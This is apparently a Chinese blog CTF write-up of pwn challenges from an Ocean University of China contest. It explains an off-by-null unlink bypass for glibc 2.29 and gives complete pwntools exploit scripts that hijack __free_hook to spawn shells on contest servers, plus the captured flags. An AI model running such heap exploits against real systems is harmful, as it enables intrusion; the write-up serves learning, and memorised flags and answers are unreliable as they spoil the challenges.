美文网首页
中国海洋大学信息安全竞赛pwn

中国海洋大学信息安全竞赛pwn

作者: cnitlrt | 来源:发表于2020-05-17 21:05 被阅读0次
这里首先记录一下love_river

题目给了libc文件,通过命令:

strings libc.so.6 |grep glibc

即可查看libc的版本


2.png

可以看到libc版本为2.29,通过ida静态分析我们还可以看到在edit的时候存在off by null,并且这个edit只能使用一次,show的功能也只能使用一次,然后我们还看到在add的时候会输出chunk块的地址


3.png
4.png

因为程序中存在着off by null因此我们想到的是unlink的操作,但是在libc2.29下unlink新增了一个检查,需要我们绕过

if (!prev_inuse(p)) {
      prevsize = prev_size (p);
      size += prevsize;
      p = chunk_at_offset(p, -((long) prevsize));
      if (__glibc_unlikely (chunksize(p) != prevsize))  //new
        malloc_printerr ("corrupted size vs. prev_size while consolidating");
      unlink_chunk (av, p);
    }

可以看到这里检查了要释放堆块的prevsize和将要合并的堆块的size是否相等,不相等就crash,因此我们需要伪造一个堆块,具体操作为:

1.申请堆块A,B,C
2.在A中伪造一个fakechunk,size的大小为fake_chunk和chunk B的和,用来bypass这个新的检查,fd和bk指向自身,fd->bk=bk->fd=p
3.释放堆块c,unlink fakechunk+B+C,申请回来fakechunk和chunkB,此时造成了堆重叠,得到了两个B

因为程序直接给了libc文件,因此可以直接patchelf
patchelf安装:

sudo apt install patchelf

patchelf命令:

patchelf --set-interpreter <./ld文件> <bin文件>

例如:

patchelf --set-interpreter ./ld-linux-x86-64.so.2 ./love_river

然后再

patchelf --set-rpath <路径>:<指定的libc文件> <bin文件>

例如:

patchelf --set-rpath ~/:/libc.so.6 ./love_river

查看一下:

m.png
ok完美 1.jpeg

原本按照正常的剧本就可以安安心心的做题了,but...

s.png

输入了size直接crash,直到笔者编写这篇文章的时候还没有解决,那我最后是咋做题的呢?


11.jpeg

我只能打开尘封已久的ubuntu19了,但是应该是系统原因,计算偏移也花费了好长时间,心累。。。
exp:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
import os
from pwn import *
# from LibcSearcher import LibcSearcher
#context.log_level = 'debug'

binary = 'love_river'
elf = ELF('love_river')
libc = ELF("./libc.so.6")
context.binary = binary

DEBUG = 0
if DEBUG:
  p = process(binary)
else:
  host = "118.190.133.9"
  port =  11000
  p = remote(host,port)
l64 = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
sla = lambda a,b  :p.sendlineafter(str(a),str(b))
sa  = lambda a,b  :p.sendafter(str(a),str(b))
lg  = lambda name,data : p.success(name + ": 0x%x" % data)
se  = lambda payload: p.send(payload)
sl  = lambda payload: p.sendline(payload)
ru  = lambda a     :p.recvuntil(str(a))
def choice(idx):
    sla("choice:",str(idx))
def add(size,payload):
    choice(1)
    sla("Size of info:",str(size))
    sla("Info:",payload)
def edit(idx,payload):
    choice(4)
    sla("index:\n",str(idx))
    sla("Info:\n",payload)
def show(idx):
    choice(2)
    sla("index:\n",str(idx))
def free(idx):
    choice(3)
    sla("index:\n",str(idx))
def edit1(idx,payload):
    choice(6)
    sla("index:\n",str(idx))
    sla("Info:\n",payload)
for i in range(10):
    add(0xf8,"aaaa")
for i in range(5):
    free(i)
free(8)
free(9) 
free(5)#7
free(6)#8
free(7)#9
for i in range(10):
    add(0xf8,"a"*0x7)
ru("0x")
heap_addr = int(p.recv(12),16)
lg("heap_addr",heap_addr)
for i in range(7):
    free(i)
show(8)
libc_base = l64()-96-0x10-0x1e4c30
lg("libc_base",libc_base)
free_hook = libc_base+libc.sym["__free_hook"]
sys_addr = libc.sym["system"]+libc_base
payload = p64(0)+p64(0x1f1)
edit(7,payload+p64(heap_addr-0x200)+p64(heap_addr-0x200))
edit1(8,"a"*0xf0+p64(0x1f0))
free(9)
add(0xf8-0x10,"a")#0
for i in range(8):
    add(0xf8,"/bin/sh")
free(1)
free(10)
edit(8,p64(free_hook))
add(0xf8,"aaa")
add(0xf8,p64(sys_addr))
free(4)
# gdb.attach(p)
p.interactive()
a.png

flag:

flag{1F_y0u_c0m3_b4cK_wOuLd_y0u_l0ve_m3?}

剩下的几个pwn题没有太大的难度了,直接给出exp:

A+B Problem:

仿照的网鼎杯出的题:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
import os
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level = 'debug'

binary = 'pwnaaa'
elf = ELF('pwnaaa')
libc = ELF("./libc-2.27.so")
context.binary = binary

DEBUG = 0
if DEBUG:
  p=process(binary,env={"LD_PRELOAD":"./libc-2.27.so"})
else:
  host = "118.190.133.9"
  port =  11004
  p = remote(host,port)
o_g = [0x4f2c5,0x4f322,0x10a38c]
l64 = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
sla = lambda a,b  :p.sendlineafter(str(a),str(b))
sa  = lambda a,b  :p.sendafter(str(a),str(b))
lg  = lambda name,data : p.success(name + ": 0x%x" % data)
se  = lambda payload: p.send(payload)
sl  = lambda payload: p.sendline(payload)
ru  = lambda a     :p.recvuntil(str(a))
payload = """
int main(){
int a;
int b;
int *free_hook;
int base;
int one;
char *buf;
b = &a;
base = b - 0x551fd8;
free_hook = 0x3ed8e8+base;
one = base+0x4f440;
*free_hook = one;
free("/bin/sh");
}
"""
# p.recv()
# gdb.attach(p)
payload = payload.replace("\n"," ")
p.sendline(payload)
p.interactive()

flag:

flag{A001_A+B_H4ck_pr0bl3m}
Note:

这题还是不错的,但是Aidai师傅说放错了题,这题简单了,确实有点白给了
off by null然后unlink
exp:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
import os
from pwn import *
from LibcSearcher import LibcSearcher
#context.log_level = 'debug'

binary = 'Note'
elf = ELF('Note')
libc = elf.libc
context.binary = binary

DEBUG = 1
if DEBUG:
  p = process(binary)
else:
  host = "118.190.133.9"
  port = 11001
  p = remote(host,port)
o_g = [0x4f2c5,0x4f322,0x10a38c]
l64 = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
sla = lambda a,b  :p.sendlineafter(str(a),str(b))
sa  = lambda a,b  :p.sendafter(str(a),str(b))
lg  = lambda name,data : p.success(name + ": 0x%x" % data)
se  = lambda payload: p.send(payload)
sl  = lambda payload: p.sendline(payload)
ru  = lambda a     :p.recvuntil(str(a))
def choice(idx):
    sla("choice",str(idx))
def add():
    choice(1)
def free(idx):
    choice(3)
    sla("index:\n",str(idx))
def show(idx):
    choice(2)
    sla("index:\n",str(idx))
def edit(idx,payload):
    choice(4)
    sla("index:\n",str(idx))
    sla("Content:\n",payload)

for i in range(10):
    add()
for i in range(5):
    free(i)
free(8)
free(9) 
free(5)#7
free(6)#8
free(7)#9
for i in range(10):
    add()
for i in range(7):
    free(i)
free(7)
edit(8,"a"*0x1f0+p64(0x200+0x200))
free(9)
for i in range(7):
    add()
add()#7
show(8)
libc_base = l64()-0x3ebca0
lg("libc_base",libc_base)
free_hook = 0x3ed8e8+libc_base
sys_addr = 0x4f440+libc_base
add()
free(0)
free(8)
# add()
edit(9,p64(free_hook))
sla("choice","1")
sla("choice","1")
edit(8,p64(sys_addr))
edit(1,"/bin/sh\x00")
free(1)
# gdb.attach(p)
p.interactive()

flag:

flag{T3nCent_N3ws_s4id_On3Note_v3ry_ha0shi}
Newwave:

uaf漏洞打存有数组指针的地方:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Author__ = 'cnitlrt'
import sys
import os
from pwn import *
from LibcSearcher import LibcSearcher
#context.log_level = 'debug'

binary = './New_Wave'
elf = ELF('./New_Wave')
libc = elf.libc
context.binary = binary
# p=process(binary,env={"LD_PRELOAD":"./libc-2.27.so"})

DEBUG = 0
if DEBUG:
  p = process(binary)
else:
  host = "118.190.133.9"
  port =  11002
  p = remote(host,port)
o_g = [0x45216,0x4526a,0xf02a4,0xf1147]
magic = [0x3c4b10,0x3c67a8,0x846c0,0x45390]#malloc,free,realloc,system
l64 = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
sla = lambda a,b  :p.sendlineafter(str(a),str(b))
sa  = lambda a,b  :p.sendafter(str(a),str(b))
lg  = lambda name,data : p.success(name + " => 0x%x" % data)
se  = lambda payload: p.send(payload)
sl  = lambda payload: p.sendline(payload)
ru  = lambda a     :p.recvuntil(str(a))
def choice(idx):
    sla("Input your choice:\n",str(idx))
def add(size):
    choice(1)
    sla("Size:\n",str(size))
def show(idx):
    choice(2)
    sla("index:\n",str(idx))
def free(idx):
    choice(4)
    sla("index:\n",str(idx))
def edit(idx,payload):
    choice(3)
    sla("index:\n",str(idx))
    sa("Info:\n",payload)
add(0x68)#0
add(0x68)#1
free(0)
edit(0,p64(0x6020ad))
add(0x68)
add(0x68)
edit(3,"a"*0x3+p64(0x0000006800000068)*2+p64(0)*2+p64(elf.got["free"])*2+p64(elf.got["atoi"])+p64(0x6020bd))
show(1)
libc_base = l64()-libc.sym["free"]
lg("libc_base",libc_base)
sys_addr = libc.sym["system"]+libc_base
edit(2,p64(sys_addr))
# gdb.attach(p)
p.interactive()

flag

flag{Surg3_0n_y0ung_g3ner4tion5_A_tuberosum_Rottl_ex_Spreng}
Y.J.Aickson's Calculator

劫持v5为0x1BF52,然后同时需要v8不等于0x1BF52
exp:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Author__ = 'cnitlrt'
import sys
import os
from pwn import *
from LibcSearcher import LibcSearcher
#context.log_level = 'debug'

binary = 'aaa'
elf = ELF('aaa')
libc = elf.libc
context.binary = binary
# p=process(binary,env={"LD_PRELOAD":"./libc-2.27.so"})

DEBUG = 0
if DEBUG:
  p = process(binary)
else:
  host = "pwn.iostream.site"
  port =  2333
  p = remote(host,port)
o_g = [0x45216,0x4526a,0xf02a4,0xf1147]
magic = [0x3c4b10,0x3c67a8,0x846c0,0x45390]#malloc,free,realloc,system
l64 = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
sla = lambda a,b  :p.sendlineafter(str(a),str(b))
sa  = lambda a,b  :p.sendafter(str(a),str(b))
lg  = lambda name,data : p.success(name + " => 0x%x" % data)
se  = lambda payload: p.send(payload)
sl  = lambda payload: p.sendline(payload)
ru  = lambda a     :p.recvuntil(str(a))
p.recv()
p.sendline("1")
p.sendline("2")
p.sendline("+"+p64(0x1BF52))
# gdb.attach(p)
p.interactive()

flag:

flag{wh1t3_g1v3_stAck_0v3rf10w!}
Pwn_WarmUp

签到题,没啥好说的,连上就有
flag:

flag{Welc0m3_to_my_Pwn_w0r1d!}

相关文章

网友评论

      本文标题:中国海洋大学信息安全竞赛pwn

      本文链接:https://www.haomeiwen.com/subject/zffrohtx.html